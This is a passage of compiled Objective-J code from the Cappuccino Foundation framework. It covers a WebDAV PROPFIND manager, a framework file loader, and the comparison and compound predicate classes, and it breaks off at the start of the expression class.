objj_msgSend(_2,"setResourceValue:forKey:",NO,CPURLIsRegularFileKey);
}else{
if(_5===CPWebDAVManagerNonCollectionResourceType){
objj_msgSend(_2,"setResourceValue:forKey:",NO,CPURLIsDirectoryKey);
objj_msgSend(_2,"setResourceValue:forKey:",YES,CPURLIsRegularFileKey);
}
}
var _6=objj_msgSend(_4,"objectForKey:","displayname");
if(_6!==nil){
objj_msgSend(_2,"setResourceValue:forKey:",_6,CPURLNameKey);
objj_msgSend(_2,"setResourceValue:forKey:",_6,CPURLLocalizedNameKey);
}
};
CPWebDAVManagerCollectionResourceType=1;
CPWebDAVManagerNonCollectionResourceType=0;
var _7=objj_allocateClassPair(CPObject,"CPWebDAVManager"),_8=_7.isa;
class_addIvars(_7,[new objj_ivar("_blocksForConnections")]);
objj_registerClassPair(_7);
class_addMethods(_7,[new objj_method(sel_getUid("init"),function(_9,_a){
with(_9){
_9=objj_msgSendSuper({receiver:_9,super_class:objj_getClass("CPWebDAVManager").super_class},"init");
if(_9){
_blocksForConnections=objj_msgSend(CPDictionary,"dictionary");
}
return _9;
}
}),new objj_method(sel_getUid("contentsOfDirectoryAtURL:includingPropertiesForKeys:options:block:"),function(_b,_c,_d,_e,_f,_10){
with(_b){
var _11=[],_12=objj_msgSend(_e,"count");
while(_12--){
_11.push(_13[_e[_12]]);
}
var _14=function(_15,_16){
var _17=[],_18=nil,_19=objj_msgSend(_16,"keyEnumerator");
while(_18=objj_msgSend(_19,"nextObject")){
var URL=objj_msgSend(CPURL,"URLWithString:",_18),_11=objj_msgSend(_16,"objectForKey:",_18);
if(!objj_msgSend(objj_msgSend(URL,"absoluteString"),"isEqual:",objj_msgSend(_15,"absoluteString"))){
_17.push(URL);
_1(URL,_e,_11);
}
}
return _17;
};
if(!_10){
return _14(_d,response);
}
objj_msgSend(_b,"PROPFIND:properties:depth:block:",_d,_11,1,function(_1a,_1b){
_10(_1a,_14(_1a,_1b));
});
}
}),new objj_method(sel_getUid("PROPFIND:properties:depth:block:"),function(_1c,_1d,_1e,_1f,_20,_21){
with(_1c){
var _22=objj_msgSend(CPURLRequest,"requestWithURL:",_1e);
objj_msgSend(_22,"setHTTPMethod:","PROPFIND");
objj_msgSend(_22,"setValue:forHTTPHeaderField:",_20,"Depth");
var _23=["<?xml version=\"1.0\"?><a:propfind xmlns:a=\"DAV:\">"],_24=0,_25=_1f.length;
for(;_24<_25;++_24){
_23.push("<a:prop><a:",_1f[_24],"/></a:prop>");
}
_23.push("</a:propfind>");
objj_msgSend(_22,"setHTTPBody:",_23.join(""));
if(!_21){
return _26(objj_msgSend(objj_msgSend(CPURLConnection,"sendSynchronousRequest:returningResponse:",_22,nil),"rawString"));
}else{
var _27=objj_msgSend(CPURLConnection,"connectionWithRequest:delegate:",_22,_1c);
objj_msgSend(_blocksForConnections,"setObject:forKey:",_21,objj_msgSend(_27,"UID"));
}
}
}),new objj_method(sel_getUid("connection:didReceiveData:"),function(_28,_29,_2a,_2b){
with(_28){
var _2c=objj_msgSend(_blocksForConnections,"objectForKey:",objj_msgSend(_2a,"UID"));
_2c(objj_msgSend(_2a._request,"URL"),_26(_2b));
}
})]);
var _13={};
_13[CPURLNameKey]="displayname";
_13[CPURLLocalizedNameKey]="displayname";
_13[CPURLIsRegularFileKey]="resourcetype";
_13[CPURLIsDirectoryKey]="resourcetype";
var _2d=function(_2e){
if(typeof window["ActiveXObject"]!=="undefined"){
var _2f=new ActiveXObject("Microsoft.XMLDOM");
_2f.async=false;
_2f.loadXML(_2e);
return _2f;
}
return new DOMParser().parseFromString(_2e,"text/xml");
};
var _26=function(_30){
var _31=_2d(_30),_32=_31.getElementsByTagNameNS("*","response"),_33=0,_34=_32.length;
var _35=objj_msgSend(CPDictionary,"dictionary");
for(;_33<_34;++_33){
var _36=_32[_33],_37=_36.getElementsByTagNameNS("*","prop").item(0).childNodes,_38=0,_39=_37.length,_3a=objj_msgSend(CPDictionary,"dictionary");
for(;_38<_39;++_38){
var _3b=_37[_38];
if(_3b.nodeType===8||_3b.nodeType===3){
continue;
}
var _3c=_3b.nodeName,_3d=_3c.lastIndexOf(":");
if(_3d>-1){
_3c=_3c.substr(_3d+1);
}
if(_3c==="resourcetype"){
objj_msgSend(_3a,"setObject:forKey:",_3b.firstChild?CPWebDAVManagerCollectionResourceType:CPWebDAVManagerNonCollectionResourceType,_3c);
}else{
objj_msgSend(_3a,"setObject:forKey:",_3b.firstChild.nodeValue,_3c);
}
}
var _3e=_36.getElementsByTagNameNS("*","href").item(0);
objj_msgSend(_35,"setObject:forKey:",_3a,_3e.firstChild.nodeValue);
}
return _35;
};
var _3f=function(_40,_41){
};
p;12;Foundation.jt;2685;@STATIC;1.0;i;9;CPArray.ji;10;CPBundle.ji;16;CPCharacterSet.ji;9;CPCoder.ji;23;CPComparisonPredicate.ji;21;CPCompoundPredicate.ji;8;CPData.ji;8;CPDate.ji;14;CPDictionary.ji;14;CPEnumerator.ji;13;CPException.ji;13;CPFormatter.ji;14;CPExpression.ji;12;CPIndexSet.ji;14;CPInvocation.ji;19;CPJSONPConnection.ji;17;CPKeyedArchiver.ji;19;CPKeyedUnarchiver.ji;18;CPKeyValueCoding.ji;21;CPKeyValueObserving.ji;16;CPNotification.ji;22;CPNotificationCenter.ji;8;CPNull.ji;10;CPNumber.ji;10;CPObject.ji;15;CPObjJRuntime.ji;13;CPOperation.ji;18;CPOperationQueue.ji;13;CPPredicate.ji;29;CPPropertyListSerialization.ji;9;CPRange.ji;11;CPRunLoop.ji;11;CPScanner.ji;7;CPSet.ji;18;CPSortDescriptor.ji;10;CPString.ji;9;CPTimer.ji;15;CPUndoManager.ji;7;CPURL.ji;17;CPURLConnection.ji;14;CPURLRequest.ji;15;CPURLResponse.ji;22;CPUserSessionManager.ji;9;CPValue.ji;20;CPValueTransformer.jt;1811;
objj_executeFile("CPArray.j",YES);
objj_executeFile("CPBundle.j",YES);
objj_executeFile("CPCharacterSet.j",YES);
objj_executeFile("CPCoder.j",YES);
objj_executeFile("CPComparisonPredicate.j",YES);
objj_executeFile("CPCompoundPredicate.j",YES);
objj_executeFile("CPData.j",YES);
objj_executeFile("CPDate.j",YES);
objj_executeFile("CPDictionary.j",YES);
objj_executeFile("CPEnumerator.j",YES);
objj_executeFile("CPException.j",YES);
objj_executeFile("CPFormatter.j",YES);
objj_executeFile("CPExpression.j",YES);
objj_executeFile("CPIndexSet.j",YES);
objj_executeFile("CPInvocation.j",YES);
objj_executeFile("CPJSONPConnection.j",YES);
objj_executeFile("CPKeyedArchiver.j",YES);
objj_executeFile("CPKeyedUnarchiver.j",YES);
objj_executeFile("CPKeyValueCoding.j",YES);
objj_executeFile("CPKeyValueObserving.j",YES);
objj_executeFile("CPNotification.j",YES);
objj_executeFile("CPNotificationCenter.j",YES);
objj_executeFile("CPNull.j",YES);
objj_executeFile("CPNumber.j",YES);
objj_executeFile("CPObject.j",YES);
objj_executeFile("CPObjJRuntime.j",YES);
objj_executeFile("CPOperation.j",YES);
objj_executeFile("CPOperationQueue.j",YES);
objj_executeFile("CPPredicate.j",YES);
objj_executeFile("CPPropertyListSerialization.j",YES);
objj_executeFile("CPRange.j",YES);
objj_executeFile("CPRunLoop.j",YES);
objj_executeFile("CPScanner.j",YES);
objj_executeFile("CPSet.j",YES);
objj_executeFile("CPSortDescriptor.j",YES);
objj_executeFile("CPString.j",YES);
objj_executeFile("CPTimer.j",YES);
objj_executeFile("CPUndoManager.j",YES);
objj_executeFile("CPURL.j",YES);
objj_executeFile("CPURLConnection.j",YES);
objj_executeFile("CPURLRequest.j",YES);
objj_executeFile("CPURLResponse.j",YES);
objj_executeFile("CPUserSessionManager.j",YES);
objj_executeFile("CPValue.j",YES);
objj_executeFile("CPValueTransformer.j",YES);
p;23;CPComparisonPredicate.jt;12931;@STATIC;1.0;i;9;CPArray.ji;8;CPNull.ji;10;CPString.ji;14;CPEnumerator.ji;13;CPPredicate.ji;14;CPExpression.ji;23;CPExpression_operator.jt;12787;
objj_executeFile("CPArray.j",YES);
objj_executeFile("CPNull.j",YES);
objj_executeFile("CPString.j",YES);
objj_executeFile("CPEnumerator.j",YES);
objj_executeFile("CPPredicate.j",YES);
objj_executeFile("CPExpression.j",YES);
objj_executeFile("CPExpression_operator.j",YES);
CPDirectPredicateModifier=0;
CPAllPredicateModifier=1;
CPAnyPredicateModifier=2;
CPCaseInsensitivePredicateOption=1;
CPDiacriticInsensitivePredicateOption=2;
CPDiacriticInsensitiveSearch=128;
CPLessThanPredicateOperatorType=0;
CPLessThanOrEqualToPredicateOperatorType=1;
CPGreaterThanPredicateOperatorType=2;
CPGreaterThanOrEqualToPredicateOperatorType=3;
CPEqualToPredicateOperatorType=4;
CPNotEqualToPredicateOperatorType=5;
CPMatchesPredicateOperatorType=6;
CPLikePredicateOperatorType=7;
CPBeginsWithPredicateOperatorType=8;
CPEndsWithPredicateOperatorType=9;
CPInPredicateOperatorType=10;
CPCustomSelectorPredicateOperatorType=11;
CPContainsPredicateOperatorType=99;
CPBetweenPredicateOperatorType=100;
var _1;
var _2;
var _3=objj_allocateClassPair(CPPredicate,"CPComparisonPredicate"),_4=_3.isa;
class_addIvars(_3,[new objj_ivar("_left"),new objj_ivar("_right"),new objj_ivar("_modifier"),new objj_ivar("_type"),new objj_ivar("_options"),new objj_ivar("_customSelector")]);
objj_registerClassPair(_3);
class_addMethods(_3,[new objj_method(sel_getUid("initWithLeftExpression:rightExpression:customSelector:"),function(_5,_6,_7,_8,_9){
with(_5){
_left=_7;
_right=_8;
_modifier=CPDirectPredicateModifier;
_type=CPCustomSelectorPredicateOperatorType;
_options=0;
_customSelector=_9;
return _5;
}
}),new objj_method(sel_getUid("initWithLeftExpression:rightExpression:modifier:type:options:"),function(_a,_b,_c,_d,_e,_f,_10){
with(_a){
_left=_c;
_right=_d;
_modifier=_e;
_type=_f;
_options=(_f!=CPMatchesPredicateOperatorType&&_f!=CPLikePredicateOperatorType&&_f!=CPBeginsWithPredicateOperatorType&&_f!=CPEndsWithPredicateOperatorType&&_f!=CPInPredicateOperatorType&&_f!=CPContainsPredicateOperatorType)?0:_10;
_customSelector=NULL;
return _a;
}
}),new objj_method(sel_getUid("comparisonPredicateModifier"),function(_11,_12){
with(_11){
return _modifier;
}
}),new objj_method(sel_getUid("customSelector"),function(_13,_14){
with(_13){
return _customSelector;
}
}),new objj_method(sel_getUid("leftExpression"),function(_15,_16){
with(_15){
return _left;
}
}),new objj_method(sel_getUid("options"),function(_17,_18){
with(_17){
return _options;
}
}),new objj_method(sel_getUid("predicateOperatorType"),function(_19,_1a){
with(_19){
return _type;
}
}),new objj_method(sel_getUid("rightExpression"),function(_1b,_1c){
with(_1b){
return _right;
}
}),new objj_method(sel_getUid("predicateFormat"),function(_1d,_1e){
with(_1d){
var _1f;
switch(_modifier){
case CPDirectPredicateModifier:
_1f="";
break;
case CPAllPredicateModifier:
_1f="ALL ";
break;
case CPAnyPredicateModifier:
_1f="ANY ";
break;
default:
_1f="";
break;
}
var _20;
switch(_options){
case CPCaseInsensitivePredicateOption:
_20="[c]";
break;
case CPDiacriticInsensitivePredicateOption:
_20="[d]";
break;
case CPCaseInsensitivePredicateOption|CPDiacriticInsensitivePredicateOption:
_20="[cd]";
break;
default:
_20="";
break;
}
var _21;
switch(_type){
case CPLessThanPredicateOperatorType:
_21="<";
break;
case CPLessThanOrEqualToPredicateOperatorType:
_21="<=";
break;
case CPGreaterThanPredicateOperatorType:
_21=">";
break;
case CPGreaterThanOrEqualToPredicateOperatorType:
_21=">=";
break;
case CPEqualToPredicateOperatorType:
_21="==";
break;
case CPNotEqualToPredicateOperatorType:
_21="!=";
break;
case CPMatchesPredicateOperatorType:
_21="MATCHES";
break;
case CPLikePredicateOperatorType:
_21="LIKE";
break;
case CPBeginsWithPredicateOperatorType:
_21="BEGINSWITH";
break;
case CPEndsWithPredicateOperatorType:
_21="ENDSWITH";
break;
case CPInPredicateOperatorType:
_21="IN";
break;
case CPContainsPredicateOperatorType:
_21="CONTAINS";
break;
case CPCustomSelectorPredicateOperatorType:
_21=CPStringFromSelector(_customSelector);
break;
}
return objj_msgSend(CPString,"stringWithFormat:","%s%s %s%s %s",_1f,objj_msgSend(_left,"description"),_21,_20,objj_msgSend(_right,"description"));
}
}),new objj_method(sel_getUid("predicateWithSubstitutionVariables:"),function(_22,_23,_24){
with(_22){
var _25=objj_msgSend(_left,"_expressionWithSubstitutionVariables:",_24),_26=objj_msgSend(_right,"_expressionWithSubstitutionVariables:",_24);
if(_type!=CPCustomSelectorPredicateOperatorType){
return objj_msgSend(CPComparisonPredicate,"predicateWithLeftExpression:rightExpression:modifier:type:options:",_25,_26,_modifier,_type,_options);
}else{
return objj_msgSend(CPComparisonPredicate,"predicateWithLeftExpression:rightExpression:customSelector:",_25,_26,_customSelector);
}
}
}),new objj_method(sel_getUid("_evaluateValue:rightValue:"),function(_27,_28,lhs,rhs){
with(_27){
var _29=(lhs==nil||objj_msgSend(lhs,"isEqual:",objj_msgSend(CPNull,"null"))),_2a=(rhs==nil||objj_msgSend(rhs,"isEqual:",objj_msgSend(CPNull,"null")));
if((_29||_2a)&&_type!=CPCustomSelectorPredicateOperatorType){
return (_29==_2a&&(_type==CPEqualToPredicateOperatorType||_type==CPLessThanOrEqualToPredicateOperatorType||_type==CPGreaterThanOrEqualToPredicateOperatorType));
}
var _2b=0;
switch(_type){
case CPLessThanPredicateOperatorType:
return (objj_msgSend(lhs,"compare:",rhs)==CPOrderedAscending);
case CPLessThanOrEqualToPredicateOperatorType:
return (objj_msgSend(lhs,"compare:",rhs)!=CPOrderedDescending);
case CPGreaterThanPredicateOperatorType:
return (objj_msgSend(lhs,"compare:",rhs)==CPOrderedDescending);
case CPGreaterThanOrEqualToPredicateOperatorType:
return (objj_msgSend(lhs,"compare:",rhs)!=CPOrderedAscending);
case CPEqualToPredicateOperatorType:
return objj_msgSend(lhs,"isEqual:",rhs);
case CPNotEqualToPredicateOperatorType:
return (!objj_msgSend(lhs,"isEqual:",rhs));
case CPMatchesPredicateOperatorType:
var _2c=(_options&CPCaseInsensitivePredicateOption)?"gi":"g";
if(_options&CPDiacriticInsensitivePredicateOption){
lhs=lhs.stripDiacritics();
rhs=rhs.stripDiacritics();
}
return (new RegExp(rhs,_2c)).test(lhs);
case CPLikePredicateOperatorType:
if(_options&CPDiacriticInsensitivePredicateOption){
lhs=lhs.stripDiacritics();
rhs=rhs.stripDiacritics();
}
var _2c=(_options&CPCaseInsensitivePredicateOption)?"gi":"g";
var reg=new RegExp(rhs.escapeForRegExp(),_2c);
return reg.test(lhs);
case CPBeginsWithPredicateOperatorType:
var _2d=CPMakeRange(0,objj_msgSend(rhs,"length"));
if(_options&CPCaseInsensitivePredicateOption){
_2b|=CPCaseInsensitiveSearch;
}
if(_options&CPDiacriticInsensitivePredicateOption){
_2b|=CPDiacriticInsensitiveSearch;
}
return (objj_msgSend(lhs,"compare:options:range:",rhs,_2b,_2d)==CPOrderedSame);
case CPEndsWithPredicateOperatorType:
var _2d=CPMakeRange(objj_msgSend(lhs,"length")-objj_msgSend(rhs,"length"),objj_msgSend(rhs,"length"));
if(_options&CPCaseInsensitivePredicateOption){
_2b|=CPCaseInsensitiveSearch;
}
if(_options&CPDiacriticInsensitivePredicateOption){
_2b|=CPDiacriticInsensitiveSearch;
}
return (objj_msgSend(lhs,"compare:options:range:",rhs,_2b,_2d)==CPOrderedSame);
case CPInPredicateOperatorType:
if(!objj_msgSend(rhs,"isKindOfClass:",objj_msgSend(CPString,"class"))){
if(!objj_msgSend(rhs,"respondsToSelector:",sel_getUid("objectEnumerator"))){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"The right hand side for an IN operator must be a collection");
}
var e=objj_msgSend(rhs,"objectEnumerator"),_2e;
while(_2e=objj_msgSend(e,"nextObject")){
if(objj_msgSend(_2e,"isEqual:",lhs)){
return YES;
}
}
return NO;
}
if(_options&CPCaseInsensitivePredicateOption){
_2b|=CPCaseInsensitiveSearch;
}
if(_options&CPDiacriticInsensitivePredicateOption){
_2b|=CPDiacriticInsensitiveSearch;
}
return (objj_msgSend(rhs,"rangeOfString:options:",lhs,_2b).location!=CPNotFound);
case CPCustomSelectorPredicateOperatorType:
return objj_msgSend(lhs,"performSelector:withObject:",_customSelector,rhs);
case CPContainsPredicateOperatorType:
if(!objj_msgSend(lhs,"isKindOfClass:",objj_msgSend(CPString,"class"))){
if(!objj_msgSend(lhs,"respondsToSelector:",sel_getUid("objectEnumerator"))){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"The left hand side for a CONTAINS operator must be a collection or a string");
}
var e=objj_msgSend(lhs,"objectEnumerator"),_2e;
while(_2e=objj_msgSend(e,"nextObject")){
if(objj_msgSend(_2e,"isEqual:",rhs)){
return YES;
}
}
return NO;
}
if(_options&CPCaseInsensitivePredicateOption){
_2b|=CPCaseInsensitiveSearch;
}
if(_options&CPDiacriticInsensitivePredicateOption){
_2b|=CPDiacriticInsensitiveSearch;
}
return (objj_msgSend(lhs,"rangeOfString:options:",rhs,_2b).location!=CPNotFound);
case CPBetweenPredicateOperatorType:
if(objj_msgSend(lhs,"count")<2){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"The right hand side for a BETWEEN operator must contain 2 objects");
}
var _2f=objj_msgSend(rhs,"objectAtIndex:",0),_30=objj_msgSend(rhs,"objectAtIndex:",1);
return (objj_msgSend(lhs,"compare:",_2f)==CPOrderedDescending&&objj_msgSend(lhs,"compare:",_30)==CPOrderedAscending);
default:
return NO;
}
}
}),new objj_method(sel_getUid("evaluateWithObject:"),function(_31,_32,_33){
with(_31){
return objj_msgSend(_31,"evaluateWithObject:substitutionVariables:",_33,nil);
}
}),new objj_method(sel_getUid("evaluateWithObject:substitutionVariables:"),function(_34,_35,_36,_37){
with(_34){
var _38=_left,_39=_right;
if(_37!=nil){
_38=objj_msgSend(_38,"_expressionWithSubstitutionVariables:",_37);
_39=objj_msgSend(_39,"_expressionWithSubstitutionVariables:",_37);
}
var _3a=objj_msgSend(_38,"expressionValueWithObject:context:",_36,nil),_3b=objj_msgSend(_39,"expressionValueWithObject:context:",_36,nil);
if(_modifier==CPDirectPredicateModifier){
return objj_msgSend(_34,"_evaluateValue:rightValue:",_3a,_3b);
}else{
if(!objj_msgSend(_3a,"respondsToSelector:",sel_getUid("objectEnumerator"))){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"The left hand side for an ALL or ANY operator must be either a CPArray or a CPSet");
}
var e=objj_msgSend(_3a,"objectEnumerator"),_3c=(_modifier==CPAllPredicateModifier),_3d;
while(_3d=objj_msgSend(e,"nextObject")){
var _3e=objj_msgSend(_34,"_evaluateValue:rightValue:",_3d,_3b);
if(_3e!=_3c){
return _3e;
}
}
return _3c;
}
}
})]);
class_addMethods(_4,[new objj_method(sel_getUid("predicateWithLeftExpression:rightExpression:customSelector:"),function(_3f,_40,_41,_42,_43){
with(_3f){
return objj_msgSend(objj_msgSend(_3f,"alloc"),"initWithLeftExpression:rightExpression:customSelector:",_41,_42,_43);
}
}),new objj_method(sel_getUid("predicateWithLeftExpression:rightExpression:modifier:type:options:"),function(_44,_45,_46,_47,_48,_49,_4a){
with(_44){
return objj_msgSend(objj_msgSend(_44,"alloc"),"initWithLeftExpression:rightExpression:modifier:type:options:",_46,_47,_48,_49,_4a);
}
})]);
var _3=objj_getClass("CPComparisonPredicate");
if(!_3){
throw new SyntaxError("*** Could not find definition for class \"CPComparisonPredicate\"");
}
var _4=_3.isa;
class_addMethods(_3,[new objj_method(sel_getUid("initWithCoder:"),function(_4b,_4c,_4d){
with(_4b){
_4b=objj_msgSendSuper({receiver:_4b,super_class:objj_getClass("CPComparisonPredicate").super_class},"init");
if(_4b!=nil){
_left=objj_msgSend(_4d,"decodeObjectForKey:","CPComparisonPredicateLeftExpression");
_right=objj_msgSend(_4d,"decodeObjectForKey:","CPComparisonPredicateRightExpression");
_modifier=objj_msgSend(_4d,"decodeIntForKey:","CPComparisonPredicateModifier");
_type=objj_msgSend(_4d,"decodeIntForKey:","CPComparisonPredicateType");
_options=objj_msgSend(_4d,"decodeIntForKey:","CPComparisonPredicateOptions");
_customSelector=objj_msgSend(_4d,"decodeObjectForKey:","CPComparisonPredicateCustomSelector");
}
return _4b;
}
}),new objj_method(sel_getUid("encodeWithCoder:"),function(_4e,_4f,_50){
with(_4e){
objj_msgSend(_50,"encodeObject:forKey:",_left,"CPComparisonPredicateLeftExpression");
objj_msgSend(_50,"encodeObject:forKey:",_right,"CPComparisonPredicateRightExpression");
objj_msgSend(_50,"encodeInt:forKey:",_modifier,"CPComparisonPredicateModifier");
objj_msgSend(_50,"encodeInt:forKey:",_type,"CPComparisonPredicateType");
objj_msgSend(_50,"encodeInt:forKey:",_options,"CPComparisonPredicateOptions");
objj_msgSend(_50,"encodeObject:forKey:",_customSelector,"CPComparisonPredicateCustomSelector");
}
})]);
var _51=["*","?","(",")","{","}",".","+","|","/","$","^"];
var _52=[".*",".?","\\(","\\)","\\{","\\}","\\.","\\+","\\|","\\/","\\$","\\^"];
String.prototype.escapeForRegExp=function(){
var _53=false;
for(var i=0;i<_51.length;++i){
if(this.indexOf(_51[i])!==-1){
_53=true;
break;
}
}
if(!_53){
return this;
}
var _54="",_55;
for(var i=0;i<this.length;++i){
var _55=_51.indexOf(this.charAt(i));
if(_55!==-1){
_54+=_52[_55];
}else{
_54+=this.charAt(i);
}
}
return _54;
};
p;21;CPCompoundPredicate.jt;4754;@STATIC;1.0;i;13;CPPredicate.jI;20;Foundation/CPArray.jI;21;Foundation/CPString.jt;4666;
objj_executeFile("CPPredicate.j",YES);
objj_executeFile("Foundation/CPArray.j",NO);
objj_executeFile("Foundation/CPString.j",NO);
CPNotPredicateType=0;
CPAndPredicateType=1;
CPOrPredicateType=2;
var _1;
var _2=objj_allocateClassPair(CPPredicate,"CPCompoundPredicate"),_3=_2.isa;
class_addIvars(_2,[new objj_ivar("_type"),new objj_ivar("_predicates")]);
objj_registerClassPair(_2);
class_addMethods(_2,[new objj_method(sel_getUid("initWithType:subpredicates:"),function(_4,_5,_6,_7){
with(_4){
_type=_6;
_predicates=_7;
return _4;
}
}),new objj_method(sel_getUid("compoundPredicateType"),function(_8,_9){
with(_8){
return _type;
}
}),new objj_method(sel_getUid("subpredicates"),function(_a,_b){
with(_a){
return _predicates;
}
}),new objj_method(sel_getUid("predicateWithSubstitutionVariables:"),function(_c,_d,_e){
with(_c){
var _f=objj_msgSend(CPArray,"array"),_10=objj_msgSend(_f,"count");
i;
for(i=0;i<_10;i++){
var p=objj_msgSend(_f,"objectAtIndex:",i),sp=objj_msgSend(p,"predicateWithSubstitutionVariables:",_e);
objj_msgSend(_f,"addObject:",sp);
}
return objj_msgSend(objj_msgSend(CPCompoundPredicate,"alloc"),"initWithType:subpredicates:",_type,_f);
}
}),new objj_method(sel_getUid("predicateFormat"),function(_11,_12){
with(_11){
var _13="",_14=objj_msgSend(CPArray,"array"),_15=objj_msgSend(_predicates,"count"),i;
if(_15==0){
return "TRUPREDICATE";
}
for(i=0;i<_15;i++){
var _16=objj_msgSend(_predicates,"objectAtIndex:",i),_17=objj_msgSend(_16,"predicateFormat");
if(objj_msgSend(_16,"isKindOfClass:",objj_msgSend(CPCompoundPredicate,"class"))&&objj_msgSend(objj_msgSend(_16,"subpredicates"),"count")>1&&objj_msgSend(_16,"compoundPredicateType")!=_type){
_17=objj_msgSend(CPString,"stringWithFormat:","(%s)",_17);
}
if(_17!=nil){
objj_msgSend(_14,"addObject:",_17);
}
}
switch(_type){
case CPNotPredicateType:
_13+="NOT %s"+objj_msgSend(_14,"objectAtIndex:",0);
break;
case CPAndPredicateType:
_13+=objj_msgSend(_14,"objectAtIndex:",0);
var _15=objj_msgSend(_14,"count");
for(var j=1;j<_15;j++){
_13+=" AND "+objj_msgSend(_14,"objectAtIndex:",j);
}
break;
case CPOrPredicateType:
_13+=objj_msgSend(_14,"objectAtIndex:",0);
var _15=objj_msgSend(_14,"count");
for(var j=1;j<_15;j++){
_13+=" OR "+objj_msgSend(_14,"objectAtIndex:",j);
}
break;
}
return _13;
}
}),new objj_method(sel_getUid("evaluateWithObject:"),function(_18,_19,_1a){
with(_18){
return objj_msgSend(_18,"evaluateWithObject:substitutionVariables:",_1a,nil);
}
}),new objj_method(sel_getUid("evaluateWithObject:substitutionVariables:"),function(_1b,_1c,_1d,_1e){
with(_1b){
var _1f=NO,_20=objj_msgSend(_predicates,"count"),i;
if(_20==0){
return YES;
}
for(i=0;i<_20;i++){
var _21=objj_msgSend(_predicates,"objectAtIndex:",i);
switch(_type){
case CPNotPredicateType:
return !objj_msgSend(_21,"evaluateWithObject:substitutionVariables:",_1d,_1e);
case CPAndPredicateType:
if(i==0){
_1f=objj_msgSend(_21,"evaluateWithObject:substitutionVariables:",_1d,_1e);
}else{
_1f=_1f&&objj_msgSend(_21,"evaluateWithObject:substitutionVariables:",_1d,_1e);
}
if(!_1f){
return NO;
}
break;
case CPOrPredicateType:
if(objj_msgSend(_21,"evaluateWithObject:substitutionVariables:",_1d,_1e)){
return YES;
}
break;
}
}
return _1f;
}
})]);
class_addMethods(_3,[new objj_method(sel_getUid("notPredicateWithSubpredicate:"),function(_22,_23,_24){
with(_22){
return objj_msgSend(objj_msgSend(_22,"alloc"),"initWithType:subpredicates:",CPNotPredicateType,objj_msgSend(CPArray,"arrayWithObject:",_24));
}
}),new objj_method(sel_getUid("andPredicateWithSubpredicates:"),function(_25,_26,_27){
with(_25){
return objj_msgSend(objj_msgSend(_25,"alloc"),"initWithType:subpredicates:",CPAndPredicateType,_27);
}
}),new objj_method(sel_getUid("orPredicateWithSubpredicates:"),function(_28,_29,_2a){
with(_28){
return objj_msgSend(objj_msgSend(_28,"alloc"),"initWithType:subpredicates:",CPOrPredicateType,_2a);
}
})]);
var _2=objj_getClass("CPCompoundPredicate");
if(!_2){
throw new SyntaxError("*** Could not find definition for class \"CPCompoundPredicate\"");
}
var _3=_2.isa;
class_addMethods(_2,[new objj_method(sel_getUid("initWithCoder:"),function(_2b,_2c,_2d){
with(_2b){
_2b=objj_msgSendSuper({receiver:_2b,super_class:objj_getClass("CPCompoundPredicate").super_class},"init");
if(_2b!=nil){
_predicates=objj_msgSend(_2d,"decodeObjectForKey:","CPCompoundPredicateSubpredicates");
_type=objj_msgSend(_2d,"decodeIntForKey:","CPCompoundPredicateType");
}
return _2b;
}
}),new objj_method(sel_getUid("encodeWithCoder:"),function(_2e,_2f,_30){
with(_2e){
objj_msgSend(_30,"encodeObject:forKey:",_predicates,"CPCompoundPredicateSubpredicates");
objj_msgSend(_30,"encodeInt:forKey:",_type,"CPCompoundPredicateType");
}
})]);
p;14;CPExpression.jt;5093;@STATIC;1.0;I;21;Foundation/CPString.jI;20;Foundation/CPArray.jI;29;Foundation/CPKeyValueCoding.jI;25;Foundation/CPDictionary.jI;20;Foundation/CPCoder.ji;23;CPExpression_constant.ji;19;CPExpression_self.ji;23;CPExpression_variable.ji;22;CPExpression_keypath.ji;23;CPExpression_function.ji;24;CPExpression_aggregate.ji;23;CPExpression_unionset.ji;27;CPExpression_intersectset.ji;23;CPExpression_minusset.jt;4682;
objj_executeFile("Foundation/CPString.j",NO);
objj_executeFile("Foundation/CPArray.j",NO);
objj_executeFile("Foundation/CPKeyValueCoding.j",NO);
objj_executeFile("Foundation/CPDictionary.j",NO);
objj_executeFile("Foundation/CPCoder.j",NO);
CPConstantValueExpressionType=0;
CPEvaluatedObjectExpressionType=1;
CPVariableExpressionType=2;
CPKeyPathExpressionType=3;
CPFunctionExpressionType=4;
CPAggregateExpressionType=5;
CPSubqueryExpressionType=6;
CPUnionSetExpressionType=7;
CPIntersectSetExpressionType=8;
CPMinusSetExpressionType=9;
var _1=objj_allocateClassPair(CPObject,"CPExpression"),_2=_1.isa;
class_addIvars(_1,[new objj_ivar("_type")]);
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("initWithExpressionType:"),function(_3,_4,_5){
with(_3){
_type=_5;
return _3;
}
}),new objj_method(sel_getUid("expressionType"),function(_6,_7){
with(_6){
return _type;
}
}),new objj_method(sel_getUid("constantValue"),function(_8,_9){
with(_8){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"self is not of CPConstantValueExpressionType");
return nil;
}
}),new objj_method(sel_getUid("variable"),function(_a,_b){
with(_a){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"self is not of CPVariableExpressionType");
return nil;
}
}),new objj_method(sel_getUid("keyPath"),function(_c,_d){
with(_c){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"self is not of CPKeyPathExpressionType");
return nil;
}
}),new objj_method(sel_getUid("function"),function(_e,_f){
with(_e){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"self is not of CPFunctionExpressionType");
return nil;
}
}),new objj_method(sel_getUid("arguments"),function(_10,_11){
with(_10){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"self is not of CPFunctionExpressionType");
return nil;
}
}),new objj_method(sel_getUid("collection"),function(_12,_13){
with(_12){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"self is not of CPAggregateExpressionType");
return nil;
}
})]);
class_addMethods(_2,[new objj_method(sel_getUid("expressionForConstantValue:"),function(_14,_15,_16){
with(_14){
return objj_msgSend(objj_msgSend(CPExpression_constant,"alloc"),"initWithValue:",_16);
}
}),new objj_method(sel_getUid("expressionForEvaluatedObject"),function(_17,_18){
with(_17){
return objj_msgSend(objj_msgSend(CPExpression_self,"alloc"),"init");
}
}),new objj_method(sel_getUid("expressionForVariable:"),function(_19,_1a,_1b){
with(_19){
